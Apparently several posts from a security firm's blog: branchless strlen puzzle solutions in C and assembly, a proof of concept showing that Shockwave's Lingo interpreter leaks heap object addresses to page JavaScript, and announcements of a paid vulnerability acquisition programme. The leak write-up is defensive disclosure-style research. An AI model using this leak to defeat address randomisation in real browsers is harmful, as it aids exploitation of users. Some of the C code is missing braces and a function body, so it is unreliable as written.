Reversing the Interview Process

As you may know, we recently brought Rolf Rolles on board the team here at Exodus. We all met at our Austin office and Rolf spent a week working alongside us. Our interview process doesn’t consist of contrived questions intended to observe the interviewee’s capacity for mental acrobatics. Traditionally, when we bring someone in for consideration we are already familiar with their past work and skillset. What we are more interested in is evaluating their capacity to work as part of our team. So, Rolf spent his time auditing code and writing some instrumentation tools for some of the problems we were facing at the time. It went very well, and we’re thrilled that he decided to join us.

One night during that week we were chatting with Rolf about random programming problems and he recalled the story of a past interview whereby he was asked to implement a strlen() function in C that, when compiled, would not contain any conditional branches. He didn’t pose the problem as a challenge but Brandon, Zef, and I all found it intriguing and took a shot at solving it. Leave it to Rolf Rolles to reverse the interview process itself…

Spoiler alert: what follows are our independently created solutions.

Brandon’s Solution:

#include <stdio.h>
#define f(b) ((-b)>>31)&1
typedef unsigned int (*funcptr)(unsigned int x);
funcptr functable[2];
unsigned char *p;
unsigned int done(unsigned int x)
    return x;
unsigned int counter(unsigned int x)
int  main(int argc, char *argv[])
    unsigned int len;
    p = (unsigned char *)argv[argc-1];
    functable[0] = (funcptr)&done;
    functable[1] = counter;
    len = functable[f(*p)](0);
    printf("len is %un", len);
    return 0;

Zef’s Solution:

 * strlen without conditional branch
 * compiles with -Wall -ansi

#include <stdio.h>

int _gtfo(char *s);
int _str_len(char *s);
int (*f[])(char *s) = {_gtfo, _str_len};

int  _gtfo(char *s)
    return -1; /* set to '0' to include trailing null */

int _str_len(char *s){
    char c = *s;
    return f[((c & 0x01))|
    ((c & 0x02) >> 1)|
    ((c & 0x04) >> 2)|
    ((c & 0x08) >> 3)|
    ((c & 0x10) >> 4)|
    ((c & 0x20) >> 5)|
    ((c & 0x40) >> 6)|
    ((c & 0x80) >> 7)](++s) +1 ;


int main(int argc, char *argv[])
    if(argc > 1 ) printf("strlen("%s") = %dn", argv[1], _str_len(argv[1]));
    return 0;

Zef’s description:

“So, my immediate thought was to use function pointers to ‘conditionally’ execute code without a conditional branch. There are two possible states for each member of a string when performing a ‘strlen’-type operation. ‘Terminator’ and ‘Not Terminator’. In this case the ‘Terminator’ for a C-string is ‘NULL’ (0x00). This of course is the only value with 0 bits set; by masking each bit in the 8 bit value and shifting to the lsb then combining the values with a ‘|’ operation, a binary state is created allowing for the indepedent execution of the two defined states ‘Terminator’ and ‘Not Terminator'”.

Aaron’s Solution:

As I admittedly suck at C, I approached the problem in straight assembly (I know, that’s cheating. And yes, this could be achieved with a rep scasb, but that’s just too easy). However, I was able to solve the problem in 27 bytes:

[BITS 32]

section .text

global _start

    pop eax
    pop eax
    xor eax, eax
    xor ebx, ebx
    pop esi

    mov al, [esi]
    add al, 0xFF
    inc al
    lea ecx, [0x8048097+eax*4]
    jmp ecx
inc ebx
inc esi
jmp _continue
int 0x80

The three pops that occur within _start are to get access to argv[1] (the string to be measured, provided on the command line). The last pop esi puts a pointer to the string into the esi register.

The mov al, [esi] grabs a single byte off the string. Then, the add al, 0xFF is used to determine whether the byte is NULL or not. If the value is non-NULL, the add to the 8-bit register al will set the Carry flag. If it is NULL, it will not set the CF.

The next instruction is actually considered undocumented (even objdump shows the mnemonic as ‘bad’). What the salc instruction does is sets the al register to 0xFF if the Carry flag is set, otherwise it sets it to 0x00. This is the method I used to implement a binary state to determine if the character is NULL or not.

The inc al instruction then increments al, which was either 0xFF or 0x00. After the inc it will either be 0x00 or 0x01.

The lea ecx, [0x8048097+eax*4] instruction loads into ecx either the address 0x8048097 or 0x804809b. These addresses are significant and can be observed by objdump’ing the assembled binary:

$ objdump -d strlen_no_conditionals -M intel

strlen_no_conditionals:     file format elf32-i386

Disassembly of section .text:

08048080 :
 8048080:       58                      pop    eax
 8048081:       58                      pop    eax
 8048082:       31 c0                   xor    eax,eax
 8048084:       31 db                   xor    ebx,ebx
 8048086:       5e                      pop    esi

08048087 :
 8048087:       8a 06                   mov    al,BYTE PTR [esi]
 8048089:       04 ff                   add    al,0xff
 804808b:       d6                      (bad)
 804808c:       fe c0                   inc    al
 804808e:       8d 0c 85 97 80 04 08    lea    ecx,[eax*4+0x8048097]
 8048095:       ff e1                   jmp    ecx
 8048097:       43                      inc    ebx
 8048098:       46                      inc    esi
 8048099:       eb ec                   jmp    8048087 
 804809b:       cd 80                   int    0x80

So, if the character is not NULL, the code will jmp ecx to 0x8048097 which increments the string length counter (ebx) and increments the string pointer (esi) and then branches unconditionally to _continue.

If the value was NULL, the jmp ecx will land directly at the int 0x80. As the size of the inc ebx and inc esi and jmp _continue is exactly 4 bytes, the lea instruction very conveniently can load either the address of the inc ebx or directly at the int 0x80, thus removing the need for any NOP-like instructions.

The last convenient optimization to note is that the int 0x80 will execute the syscall specified by the eax register. Well, because the result of the add/salc/inc condition will set eax to 1 only when a NULL is found, the int 0x80 will execute syscall #1 which on Linux is exit(). Additionally, the exit code is specified by the ebx register. That is why I used the ebx register as my counter to hold the string length. So, upon execution of the interrupt, the exit code will contain the length of the string as can be observed by running the assembled binary and inspecting the return value:

$ nasm strlen_no_conditionals.asm -f elf -o a.o
$ ld -o strlen_no_conditionals a.o
$ ./strlen_no_conditionals "ExodusIntel" ; echo $?
$ ./strlen_no_conditionals "should return 16" ; echo $?

Rolf’s Solution:

“Basically, the fundamental problem to overcome with this challenge is to ‘make a decision’ — that is to say, decide when to terminate the iteration upon reaching a NULL character — without using an explicit jcc-style conditional branch. A few minutes’ reflection upon this problem yields that we could use recursion into a function pointer table with 256 entries, where 255 of the entries increased some counter variable, and the entry at 0 terminates the procedure and returns the counter. In doing so, we have replaced all conditional jumps with one indexed, switch jump. Some further reflection provides the reduction of the table size from 256 entries down to two.”

typedef int (*ctr)(char *);
int func(char *);
int func_x(char *c) { return 1+func(c); }
int func_0(char *c) { return 0; }
ctr table[2] = { &func_0, &func_x };
int func(char *c) { return table[!!*c](c+1); }

If you’ve come up with an interesting approach, we’d love to see it. Feel free to leave a comment or some such.

Aaron Portnoy

Adobe Shockwave and Introspection

From Wikipedia:
    In computing, type introspection is the ability for a program to examine the type or properties of an object at runtime.

These days it seems there is quite a lot of research being done on various ways to disclose the contents of an application’s memory. With the increasing prevalence of exploit mitigations intended to randomize the location of data in a process, the value of such memory disclosures is becoming very apparent.

In this post I’d like to share a very trite example of an information leak I ran across while poking around with Adobe’s Shockwave Player.

Adobe Shockwave is a piece of software implemented as a browser plug-in that Adobe claims runs on over 450 million desktop systems. The Player renders Adobe Director files which can contain 3D media, audio, video, and other web content. Additionally, Shockwave contains an interpreter for the Lingo programming language which allows a developer to embed scripting code to perform a multitude of tasks via the Lingo API.

Lingo supports type introspection and this functionality has many legitimate uses, but for the purposes of this blog post I’ll demonstrate a potentially nasty side effect that can result.

As it turns out, if a Lingo programmer retrieves a reference to a created object and attempts to print it out, the interpreter will actually disclose where in memory the object resides. Several other languages support this, the first that comes to mind is Python via the id() function:

>>> a = "hihi"
>>> hex(id(a))

For a dynamic language that is not being executed in the context of a browser, this is just fine. However, such functionality can be abused to aid in exploitation of memory corruption vulnerabilities when in the context of another application.

Consider the following Lingo code:

on startMovie
  x = window("stage").movie

When this is executed inside the Director application (used to create Shockwave files), the Message window outputs the following:

-- <Object _movie 2 b50244>

When executed in the context of a browser and combined with the gotoNetPage API, this can be leveraged to send that string back to a javascript function:

gotoNetPage("javascript: void ( disclose('" & x & "') );")

The HTML I used to embed the Shockwave file and to display the object properties looks like this:

<script language="javascript">

function disclose(x) {

<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
 ID=test width=600 height=600 VIEWASTEXT>
<param name=src value="test.dir">
<param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' ">
<param name=swStretchStyle value=none>
<param name=PlayerVersion value=11>

When this is executed in a browser, our alert fires and displays the string:

This address can be verified by attaching a debugger to the browser process and inspecting that address:

0:022> !address 0x3db01fc
  03db0000 : 03db0000 - 00102000
     Type     00020000 MEM_PRIVATE
     Protect  00000004 PAGE_READWRITE
     State    00001000 MEM_COMMIT
     Usage    RegionUsageHeap
     Handle   00150000
0:022> !heap -p -a 0x3db01fc
   address 03db01fc found in
   _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
     03db0018 20000 0000  [0b]   03db0020    100000 - (busy VirtualAlloc)

Here we can see the address is in the heap and is part of an allocation of size 0x100000. This is because Shockwave utilizes a custom memory manager on which Logan Brown and I gave a presentation at CanSecWest in 2011.

What is interesting to note is that the address of the “_movie” object is located 0x1dc bytes from the start of the allocation. As it turns out, the _movie object is always placed at that offset. This is interesting from an exploitation standpoint because there are certain function pointers that the memory manager uses that are also at fixed offsets from the start of that allocation:

0:022> u poi(0x03db0020+0x10) L3
6907d880 8b4c2404        mov     ecx,dword ptr [esp+4]
6907d884 8b41fc          mov     eax,dword ptr [ecx-4]
6907d887 8b5014          mov     edx,dword ptr [eax+14h]

The address of other objects can also be disclosed, but I chose to show the _movie object as it is one of the first allocated by the custom memory manager and is of particular interest due to its consistently relative offset from the allocation shown above.

That’s it… I ran across this “intended functionality” some time ago, but didn’t bother to discuss it due to the fact that it is only useful when exploiting a browser-based vulnerability and can only be utilized if the browser has the Shockwave plug-in installed.

Aaron Portnoy

EIP August Incentives

The mood here at Exodus Intelligence is excitement over the community reception of  our EIP program. We have had over 60 submissions in the past 6 weeks since we launched, and we have been able to purchase over 20% of the submissions.

That number might sound low, but it is no secret that we are a little more particular in what we pursue, as we are actually exploiting each acquisition. We also are looking to make the largest impact possible, by only pursuing vulns affecting common, and widely deployed software. To counter this selectiveness, we are paying our researchers almost double what is offered at similar programs, as we value the information, and the researchers.

Another notable difference in our program, is that we are striving for a much more appropriate turn around in our analysis (10 days maximum) and we promote interaction and communication with our researchers.

The purpose of this blog is not only to boast about our program, but to notify the research community, that we are planning on boosting our purchasing power for the month of August by the following factors:

    • Price Match Guarantee

We will beat any offer from any other vulnerability acquisition program for exploitable submissions that we consider valuable to our clients



    • Charitable Donation Matching

We will dollar for dollar match any researcher that chooses to donate an Exodus vulnerability offer to an industry supporting charity (such as EFF)



    • Researcher Appreciation Multiplier

All offers we make for vulnerabilities submitted during the month of August will receive an additional 25% bonus


We are very grateful for our researchers, and we strive to make EIP the best program possible. To keep interest from the community and our researchers, we plan to periodically have incentive months similar to this. We will feel out how this month goes to determine what we will do next, and we are open for suggestions from the community on ideas for future incentives.


Announcing the Exodus Intelligence Program

We are excited to announce that the Exodus Intelligence Program is now accepting submissions!

The EIP was designed by those with a long history both discovering vulnerabilities as well as procuring them through various acquisition programs. Our collective experience has allowed us to architect the EIP such that it is appealing to those who have the skill and desire to receive compensation for their research.

All vulnerabilities purchased through the EIP will be disclosed to the affected vendor(s) for remediation.

Some of the benefits for researchers participating in the EIP include a 10 business day decision timeline, starting when a submission is first received. We also intend to maintain a highly transparent program whereby our analysts are reachable by the contributing researchers for any questions. For those submissions we do procure, we will provide the researcher who sent it in with our internal analysis as to the root cause and exploitability because we believe it is essential to give back to and aid our researchers in their pursuit of knowledge.

As Exodus Intelligence does not support any products of our own, we are interested not only in code execution issues, but also vulnerabilities that other acquisition programs may not be (local vulnerabilities, memory disclosures, techniques).

One of the main focuses of Exodus is to provide information to our customers on vulnerabilities we believe are not only exploitable, but likely to be exploited. While this means we may be turning down submissions that are simply theoretically exploitable, it also means we are able to better compensate researchers for the work we are interested in.

There is a FAQ available on the EIP website, but if you have any specific questions feel free to e-mail us at (PGP).

For more generic questions or press inquiries, please use (PGP).


Posted by: Aaron Portnoy, Zef Cekaj, Logan Brown, Brandon Edwards